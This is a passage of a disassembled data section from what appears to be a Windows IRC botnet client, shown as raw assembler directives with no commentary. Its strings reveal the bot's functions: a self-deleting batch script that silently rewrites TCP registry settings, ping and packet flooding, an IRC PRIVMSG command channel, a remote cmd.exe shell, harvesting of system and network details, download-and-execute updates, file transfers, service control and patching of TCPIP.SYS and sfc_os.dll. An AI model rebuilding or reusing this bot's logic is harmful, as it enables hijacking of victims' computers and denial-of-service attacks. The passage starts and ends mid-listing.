db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
db 'DEL %temp%\1.reg',0Dh,0Ah
db 'DEL %0',0Dh,0Ah,0
align 4
unk_42D03C db 2 ; DATA XREF: sub_40AECD:loc_40AF8Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aNotSupportedBy db ' Not supported by this system.',0
align 4
unk_42D07C db 2 ; DATA XREF: sub_40AECD:loc_40AF5Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToAlloca db ' Unable to allocation ARP cache.',0
align 4
unk_42D0BC db 2 ; DATA XREF: sub_40AECD:loc_40AF26o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheIsEmpt db ' ARP cache is empty.',0
align 10h
unk_42D0F0 db 2 ; DATA XREF: sub_40AECD+49o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorGettingAr db ' Error getting ARP cache: <%d>.',0
align 10h
a2: ; DATA XREF: sub_40B051+35o
; ___:004160CAo
unicode 0, <2>,0
aSfc_os_dll db 'sfc_os.dll',0 ; DATA XREF: sub_40B0A0+24o
align 10h
aTcpip_sysFixed db 'TCPIP.SYS fixed, version %d.',0 ; DATA XREF: sub_40B0E7+31Eo
align 10h
aCanNotOpenTcpi db 'Can not open TCPIP.SYS, version %d.',0 ; DATA XREF: sub_40B0E7+11Fo
aRB db 'r+b',0 ; DATA XREF: sub_40B0E7+FFo
dword_42D188 dd 5 dword_42D18C dd 0FCh dword_42D190 dd 43h dword_42D194 dd 6 dword_42D198 dd 16h dword_42D19C dd 4Ch ; ___:00416135o
dword_42D1A0 dd 3 dword_42D1A4 dd 0E8h unk_42D1A8 db 2 ; DATA XREF: sub_40B45B+13Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedSendin db ' Finished sending pings to %s.',0
align 4
unk_42D1E4 db 2 ; DATA XREF: sub_40B45B+6Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSendingPi db ' Error sending pings to %s.',0
align 4
dword_42D21C dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B5E7+1C6o
dd 2BBBB02h
aFinishedSend_0 db ' Finished sending packets to %s.',0
align 4
dword_42D258 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B5E7+8Eo
dd 2BBBB02h
aErrorSending_1 db ' Error sending pings to %s.',0
align 10h
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B865+33o
dword_42D2A0 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B8EC:loc_40BA1Eo
dd 2BBBB02h
aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0
align 10h
dword_42D2E0 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B8EC+10Fo
dd 2BBBB02h
aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0
align 4
dword_42D318 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B8EC:loc_40B9D2o
dd 2BBBB02h
aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0
align 4
dword_42D358 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40BA41+194o
dd 2BBBB02h
aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0
align 4
dword_42D39C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40BA41+14Co
dd 2BBBB02h
aRemoteCommandP db ' Remote Command Prompt',0
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40BA41+21o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40BBF6+52o
; ___:00416167o
aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
; DATA XREF: sub_40BDAD+297o
db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
db ' %s. [Uptime]: %s.',0
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40BDAD+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40BDAD:loc_40BF11o
align 4
word_42D4DC dw 3Fh ; DATA XREF: sub_40BDAD:loc_40BEAFr
; sub_40D639+1Fo
align 10h
dword_42D4E0 dd 3F3F3Fh a2003 db '2003',0 ; DATA XREF: sub_40BDAD+BAo
; ___:0042F050o
align 4
aXp db 'XP',0 ; DATA XREF: sub_40BDAD+AAo
; ___:0041606Eo
align 10h
a2k db '2K',0 ; DATA XREF: sub_40BDAD+98o
; ___:0041605Eo
align 4
aMe db 'ME',0 ; DATA XREF: sub_40BDAD+7Eo
; ___:00416045o
align 4
a98 db '98',0 ; DATA XREF: sub_40BDAD+6Co
; ___:00416035o
align 4
aNt db 'NT',0 ; DATA XREF: sub_40BDAD+5Ao
; ___:00416026o
align 10h
a95 db '95',0 ; DATA XREF: sub_40BDAD+46o
; ___:00416018o
align 4
aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
; DATA XREF: sub_40C061+ABo
align 4
off_42D544 dd offset loc_412F4E ; DATA XREF: sub_40C061:loc_40C0D5o
off_42D548 dd offset dword_4E414C ; DATA XREF: sub_40C061:loc_40C0CEo
dword_42D54C dd 6C616944h, 70752Dhdword_42D554 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_42D564 dd 5Ch unk_42D568 db 2 ; DATA XREF: sub_40C1D5:loc_40C38Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 76h, 69h, 73h
db 69h ; i
db 74h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToConnec db 'Failed to connect to HTTP server.',0
align 4
unk_42D5A8 db 2 ; DATA XREF: sub_40C1D5:loc_40C387o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 76h, 69h, 73h
db 69h ; i
db 74h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCouldNotOpenAC db 'Could not open a connection.',0
align 4
dword_42D5E4 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
; DATA XREF: sub_40C1D5+1A0o
dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch, 2E4C5255h
dd 0
unk_42D610 db 2 ; DATA XREF: sub_40C1D5:loc_40C368o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 76h, 69h, 73h
db 69h ; i
db 74h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0
align 4
dword_42D65C dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
; DATA XREF: sub_40C1D5+18Co
dd 0BB022029h, 202002BBh, 204C5255h, 69736976h, 2E646574h
dd 0
dword_42D688 dd 2A2F2Ah dword_42D68C dd 202E6425h, 3D207325h, 732520hdword_42D698 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40C4F7+60o
align 4
dword_42D6CC dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch
; DATA XREF: sub_40C597+1Ao
dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h, 0
dword_42D6F4 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C609+DCo
dd 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh, 2E657465h
dd 0
dword_42D720 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C609+3Fo
dd 2BBBB02h, 65422020h, 6E6967h
dd 78h
align 8
dword_42D748 dd 80000002h, 42EE44h, 80000002h, 42EE74h, 80000001h, 42EEACh
; DATA XREF: sub_40C738+7o
dword_42D760 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C738+63o
; sub_40C8F3+170o
dd 2BBBB02h
aFailedToSendTo db ' Failed to send to Remote command shell.',0
align 4
dword_42D7A4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C8F3+ABo
dd 2BBBB02h
aFailedToOpenRe db ' Failed to open remote command shell.',0
align 4
dword_42D7E4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C8F3+47o
; sub_40CAB4+FDo
dd 2BBBB02h
aFailedToOpenSo db ' Failed to open socket.',0
align 4
dword_42D818 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40CAB4+362o
; sub_40CE56+156o
dd 2BBBB02h, 6F532020h, 74656B63h, 72726520h, 2E726Fh
dword_42D840 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40CAB4+2FAo
dd 2BBBB02h
aTransferComp_0 db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42D890 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40CAB4+202o
dd 2BBBB02h
aUnableToOpenSo db ' Unable to open socket.',0
align 4
dword_42D8C4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40CAB4+1CBo
dd 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h, 2E7475h
dword_42D8EC dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_40CAB4+16Ao
dd 169h
dword_42D904 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40CAB4+127o
dd 2BBBB02h
aFileDoesnTExis db ' File doesn',27h,'t exist.',0
align 4
dword_42D934 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40CAB4+82o
dd 2BBBB02h
aFailedToBindTo db ' Failed to bind to socket.',0
dword_42D968 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40CAB4+44o
dd 2BBBB02h
aFailedToCreate db ' Failed to create socket.',0
align 4
dword_42D99C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40CE56+1CFo
dd 2BBBB02h
aTransferComp_1 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0
align 10h
dword_42D9F0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40CE56+CBo
dd 2BBBB02h
aErrorOpeningSo db ' Error opening socket.',0
dword_42DA20 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40CE56+ABo
dd 2BBBB02h
aErrorOpeningFi db ' Error opening file for writing.',0
align 4
aAB db 'a+b',0 ; DATA XREF: sub_40CE56+97o
dword_42DA60 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40CE56+83o
dd 2BBBB02h
aErrorUnableToW db ' Error unable to write file to disk.',0
align 10h
unk_42DAA0 db 2 ; DATA XREF: sub_40D091+493o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0
align 4
unk_42DADC db 2 ; DATA XREF: sub_40D091+485o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateFailedEr db ' Update failed: Error executing file: %s.',0
unk_42DB24 db 2 ; DATA XREF: sub_40D091+3C9o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
align 4
dword_42DB74 dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h
; DATA XREF: sub_40D091+358o
dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h, 25203A64h
dd 2E73h
aOpen db 'open',0 ; DATA XREF: sub_40D091+336o
; sub_40F6F1+2C49o ...
align 4
unk_42DBA8 db 2 ; DATA XREF: sub_40D091+2E1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0
align 10h
unk_42DBF0 db 2 ; DATA XREF: sub_40D091+262o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCrcFailedDD_ db ' CRC Failed (%d != %d).',0
align 4
unk_42DC28 db 2 ; DATA XREF: sub_40D091+1D8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0
align 4
unk_42DC6C db 2 ; DATA XREF: sub_40D091+195o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0
align 4
unk_42DCAC db 2 ; DATA XREF: sub_40D091+183o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileDownloadSD db ' File download: %s (%dKB transferred).',0
align 4
unk_42DCF4 db 2 ; DATA XREF: sub_40D091+77o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_40D639:loc_40D67Co
; sub_40E4EB+104o
aInvalid db 'Invalid',0 ; DATA XREF: sub_40D639:loc_40D676o
aDisk db 'Disk',0 ; DATA XREF: sub_40D639:loc_40D670o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_40D639:loc_40D66Ao
aCdrom db 'Cdrom',0 ; DATA XREF: sub_40D639:loc_40D664o
align 4
off_42DD54 dd offset word_4D4152 ; DATA XREF: sub_40D639:loc_40D65Eo
aFailed db 'failed',0 ; DATA XREF: sub_40D6CA:loc_40D7A2o
; sub_40D7E5+3Bo
align 10h
aSkb db '%sKB',0 ; DATA XREF: sub_40D6CA+6Bo
align 4
unk_42DD68 db 2 ; DATA XREF: sub_40D7E5+8Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Fh, 72h
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0
align 4
unk_42DDB4 db 2 ; DATA XREF: sub_40D7E5+58o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Fh, 72h
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0
off_42DE00 dd offset byte_5C3A41 ; DATA XREF: sub_40D8B7:loc_40D8FCo
dword_42DE04 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42DE50 dd 3000005h, 10h, 18h, 1, 3 dup(0); ---------------------------------------------------------------------------
loc_42DE6C: ; DATA XREF: sub_40DA5C+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_42DE80 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_40DA5C+13Fo
dword_42DE94 dd 25207325h, 253A2073h, 0A0D73haPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40DC10+16o
; sub_40F6F1+623o
aNotice db 'NOTICE',0 ; DATA XREF: sub_40DC10+Fo
; sub_40F6F1+62Fo
align 10h
off_42DEB0 dd offset aAdd ; DATA XREF: sub_40DCAB+6Dr
; sub_40E08F+50r ...
; "Add"
off_42DEB4 dd offset aAdded ; DATA XREF: sub_40DCAB+2Dr
; sub_40E08F+82r ...
; "Added"
dword_42DEB8 dd 0 dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_0 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 42DF24h, 42DF1Ch, 2, 42DF10h, 42DF04h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0042DEE4o
aStop_0 db 'Stop',0 ; DATA XREF: ___:0042DEE0o
align 4
aStarted db 'Started',0 ; DATA XREF: ___:0042DED8o
aStart_0 db 'Start',0 ; DATA XREF: ___:0042DED4o
align 4
aListed db 'Listed',0 ; DATA XREF: ___:0042DECCo
align 4
aList_0 db 'List',0 ; DATA XREF: ___:0042DEC8o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: ___:0042DEC0o
aDelete_0 db 'Delete',0 ; DATA XREF: ___:0042DEBCo
align 4
aAdded db 'Added',0 ; DATA XREF: ___:off_42DEB4o
align 4
aAdd db 'Add',0 ; DATA XREF: ___:off_42DEB0o
unk_42DF78 db 2 ; DATA XREF: sub_40DCAB+74o
db 74h, 2, 72h
db 6Eh ; n
db 28h, 30h, 31h
db 61h ; a
db 29h, 20h, 5Bh
db 6Eh ; n
db 65h, 74h, 2Eh
db 6Dh ; m
db 1Fh, 64h, 1Fh
db 6Ch ; l
db 5Dh, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSNoServiceSpec db ' %s: No service specified.',0
align 10h
unk_42DFB0 db 2 ; DATA XREF: sub_40DCAB+55o
db 74h, 2, 72h
db 6Eh ; n
db 28h, 30h, 31h
db 61h ; a
db 29h, 20h, 5Bh
db 6Eh ; n
db 65h, 74h, 2Eh
db 6Dh ; m
db 1Fh, 64h, 1Fh
db 6Ch ; l
db 5Dh, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0
align 4
unk_42DFEC db 2 ; DATA XREF: sub_40DCAB+38o
db 74h, 2, 72h
db 6Eh ; n
db 28h, 30h, 31h
db 61h ; a
db 29h, 20h, 5Bh
db 6Eh ; n
db 65h, 74h, 2Eh
db 6Dh ; m
db 1Fh, 64h, 1Fh
db 6Ch ; l
db 5Dh, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0
align 4
aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40DDD4+12Co
align 10h
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40DDD4:loc_40DEECo
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40DDD4:loc_40DEE5o
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_40DDD4:loc_40DEDEo
db 'the state of the service.',0
align 10h
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_40DDD4:loc_40DED7o
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_40DDD4:loc_40DED0o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_40DDD4:loc_40DEC9o
align 10h
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40DDD4:loc_40DEC2o
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_40DDD4:loc_40DEBBo
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_40DDD4:loc_40DEB4o
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_40DDD4:loc_40DEADo
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_40DDD4:loc_40DE82o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_40DDD4:loc_40DE7Bo
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_40DDD4:loc_40DE74o
db 'tServiceCtrlDispatcher.',0
align 10h
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_40DDD4:loc_40DE6Do
align 10h
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40DDD4+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_40DDD4:loc_40DE42o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_40DDD4:loc_40DE38o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_40DDD4:loc_40DE2Eo
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40DDD4:loc_40DE24o
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_40DDD4:loc_40DE1Ao
align 10h
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40DDD4+3Co
align 4
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40DF52+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_40DF52:loc_40E01Eo
aStarting db ' Starting',0 ; DATA XREF: sub_40DF52:loc_40E017o
aStoping db ' Stoping',0 ; DATA XREF: sub_40DF52:loc_40E010o
aRunning db ' Running',0 ; DATA XREF: sub_40DF52:loc_40E009o
aContinuing db ' Continuing',0 ; DATA XREF: sub_40DF52:loc_40E002o
aPausing db ' Pausing',0 ; DATA XREF: sub_40DF52:loc_40DFFBo
aPaused_0 db ' Paused',0 ; DATA XREF: sub_40DF52:loc_40DFF4o
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_40DF52+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_40DF52+25o
align 4
unk_42E554 db 2 ; DATA XREF: sub_40E08F+ABo
db 74h, 2, 72h
db 6Eh ; n
db 28h, 30h, 31h
db 61h ; a
db 29h, 20h, 5Bh
db 6Eh ; n
db 65h, 74h, 2Eh
db 6Dh ; m
